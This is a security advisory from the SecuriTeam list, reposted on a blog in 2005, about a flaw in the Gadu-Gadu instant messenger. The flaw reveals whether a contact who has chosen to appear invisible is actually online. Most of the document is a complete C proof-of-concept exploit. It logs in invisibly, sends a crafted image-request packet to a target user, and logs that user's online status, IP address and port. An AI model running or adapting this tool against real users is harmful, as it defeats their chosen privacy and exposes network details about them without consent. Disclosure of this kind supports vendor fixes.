Search This Blog

Tuesday, September 27, 2005

[EXPL] Gadu-Gadu Invisible Users Detection Vulnerability

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -

Gadu-Gadu Invisible Users Detection Vulnerability
------------------------------------------------------------------------

SUMMARY

<http://www.gadu-gadu.pl/> Gadu-Gadu is an instant messaging program that
is popular in Poland.

A flaw in Gadu-Gadu allows users of the program to detect the presence of
users that have made themselves invisible.

DETAILS

It was recently announced that the authors of Gadu-Gadu have fixed the
vulnerability in their servers that was used by software plugins such as
like "Inwigilator" to detect whether a user of the IM program is
Unavailable or Invisible.

It would appear that it is *still* possible to detect whether the user is
invisible.

References:
[1] <http://soltysiak.com/articles/gg_ir.php>
http://soltysiak.com/articles/gg_ir.php
[2] <http://www.soltysiak.com/gadu.c> http://www.soltysiak.com/gadu.c
[3] <http://dev.null.pl/ekg/> http://dev.null.pl/ekg/

Compiled POC allows you to try to detect the invisible user:
# ./gadu <your_uin> <your_password> <victim_uin>
gadu_connect: success.
Gosciu jest online!
gadu_disconnect

This shows that <victim_uin> is online. If seems unavailable it means they
are invisible.

The conditions remain constant:
- the victim must have you listed in their address book
- the victim must have image messages enabled (that is the minimum size >
0)

Exploit:
/*
* Wykrywanie niewidzialnosci w Gadu-Gadu
* Maciej Soltysiak <maciej@soltysiak.com>
*
* Program wymaga libgadu
*
* compile:
* gcc -o gadu gadu.c -lgadu
* Jak buczy o ssl to dodaj -lssl
*
* use:
* ./gadu <uin> <haslo> <ofiara>
*
* Wymagania:
* - ofiara musi miec uin w kontaktach
* - ofiara musi obslugiwac wiadomosci obrazkowe (miec limit rozmiaru > 0)
*
* Jesli chcesz zastosowac te metode w swoim programie pamietaj, ze
* jest to kod dystrybuowany na licencji:
* Creative Commons Uznanie autorstwa-Na tych samych warunkach 2.0
* http://creativecommons.org/licenses/by-sa/2.0/pl/
*
* Nie pytaj mnie jak to skompilowac pod windows!
* ctrl+c przerywa program, wylogowujac sie ladnie.
*
* Program uzywa do logowania rozszerzenia GNU vasprintf() jak Ci
* to nie pasuje przepisz kod. Ja bylem leniwy.
*
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <sys/time.h>
#include <libgadu.h>
#include <signal.h>

static inline void log_simple(const char *txt)
{
fprintf(stderr, "%s\n", txt);
}

void log_string(const char *fmt, ...)
{
char *buf;
va_list args;
int n;

va_start(args, fmt);
n = vasprintf(&buf, fmt, args);
va_end(args);

if (n >= 0)
{
if (fprintf(stderr, "%s\n", buf) < 0)
log_simple("log_string: fprintf returned an error");
free(buf);
}
else
log_simple("log_string: vasprintf failed");

return;
}

/* Global Gadu-Gadu handle */
struct gg_session *gadu_sess = NULL;

#define GG_CONN_TIMEOUT 10

static inline void gadu_disconnect(void)
{
if (gadu_sess != NULL)
{
log_simple("gadu_disconnect");
gg_logoff(gadu_sess);
gg_free_session(gadu_sess);
}
exit(1);
}

static void init_signals(void)
{
struct sigaction sigact;

sigact.sa_flags = SA_NODEFER;
sigact.sa_handler = (void *) gadu_disconnect;
sigemptyset(&sigact.sa_mask);

sigaction(SIGTERM, &sigact, NULL);
sigaction(SIGHUP, &sigact, NULL);
sigaction(SIGQUIT, &sigact, NULL);
sigaction(SIGINT, &sigact, NULL);
}

static inline void gadu_connect(int uin, char *pass)
{
struct gg_login_params gadu_p;
fd_set rd, wd;
struct gg_event *e;
struct timeval tv;
int ret;

memset(&gadu_p, 0, sizeof(gadu_p));
gadu_p.uin = uin;
gadu_p.password = pass;
gadu_p.async = 1;

gadu_sess = gg_login(&gadu_p);

for (;;) {
FD_ZERO(&rd);
FD_ZERO(&wd);

if ((gadu_sess->check & GG_CHECK_READ))
FD_SET(gadu_sess->fd, &rd);
if ((gadu_sess->check & GG_CHECK_WRITE))
FD_SET(gadu_sess->fd, &wd);

tv.tv_sec = GG_CONN_TIMEOUT;
tv.tv_usec = 0;

ret = select(gadu_sess->fd + 1, &rd, &wd, NULL, &tv);

if (!ret) {
gadu_disconnect();
} else {
if (gadu_sess && (FD_ISSET(gadu_sess->fd, &rd) ||
FD_ISSET(gadu_sess->fd, &wd))) {
if (!(e = gg_watch_fd(gadu_sess))) {
log_simple("gadu_connect: connection lost!");
gadu_disconnect();
}
if (e->type == GG_EVENT_CONN_SUCCESS) {
log_simple("gadu_connect: success.");
gg_free_event(e);
break;
}
if (e->type == GG_EVENT_CONN_FAILED) {
log_simple("gadu_connect: failed.");
gg_free_event(e);
gadu_disconnect();
}
gg_free_event(e);
}
}
}

gg_change_status(gadu_sess, GG_STATUS_INVISIBLE);
}

static inline void update_gadu(void)
{
struct gg_event *e;

if ((e = gg_watch_fd(gadu_sess)))
{
switch(e->type)
{
case GG_EVENT_IMAGE_REQUEST:
log_simple("Gosciu jest online!");
break;
case GG_EVENT_NOTIFY60:
log_string("notify: %d %d %d.%d.%d.%d %d %d '%s'\r\n",
e->event.notify60->uin,
e->event.notify60->status,
e->event.notify60->remote_ip & 0xff,
(e->event.notify60->remote_ip >> 8) & 0xff,
(e->event.notify60->remote_ip >> 16) & 0xff,
e->event.notify60->remote_ip >> 24,
e->event.notify60->remote_port,
e->event.notify60->version,
e->event.notify60->descr);
break;
case GG_EVENT_STATUS60:
log_string("status: %d %d %d.%d.%d.%d %d %d '%s'\r\n",
e->event.status60.uin,
e->event.status60.status,
e->event.status60.remote_ip & 0xff,
(e->event.status60.remote_ip >> 8) & 0xff,
(e->event.status60.remote_ip >> 16) & 0xff,
e->event.status60.remote_ip >> 24,
e->event.status60.remote_port,
e->event.status60.version,
e->event.status60.descr);
break;
case GG_EVENT_DISCONNECT:
gadu_disconnect();
case GG_EVENT_ACK:
log_string("update_gg: ACK from %d. %d %d\r\n",
e->event.ack.recipient,
e->event.ack.status,
e->event.ack.seq);
break;
}
}

gg_free_event(e);
}

int main(int argc, char *argv[])
{
uin_t v_uin; /* victim */
uin_t a_uin; /* attacker */

if (argc != 4)
{
log_simple("skladnia: gadu <twoj_uin> <twoje_haslo> <uin_ofiary>\n" "Pamietaj wylogowac sie ze swojegu uina z gadu.");
return 0;
}

if ((a_uin = atoi(argv[1])) <= 0)
{
log_simple("Podaj twoj poprawny numer.");
return 0;
}

if ((v_uin = atoi(argv[3])) > 0)
{
/*
* ethereal + tcpdump rzadza !
*/
unsigned char code[] = { 0x00, 0x02, 0x0d, 0x00, 0x00, 0x00, 0x80, 0x09,
0x01, 0xaf, 0xa8, 0x00, 0x00, 0x9f, 0xc1, 0xee, 0x84 };

init_signals();

gadu_connect(a_uin, argv[2]);

gg_notify(gadu_sess, &v_uin, sizeof(uin_t));

gg_send_message_ctcp(gadu_sess, 0x28, v_uin, code, sizeof(code));

for(;;)
update_gadu();
}

return 0;
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:maciej@soltysiak.com> Maciej
Soltysiak.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

No comments: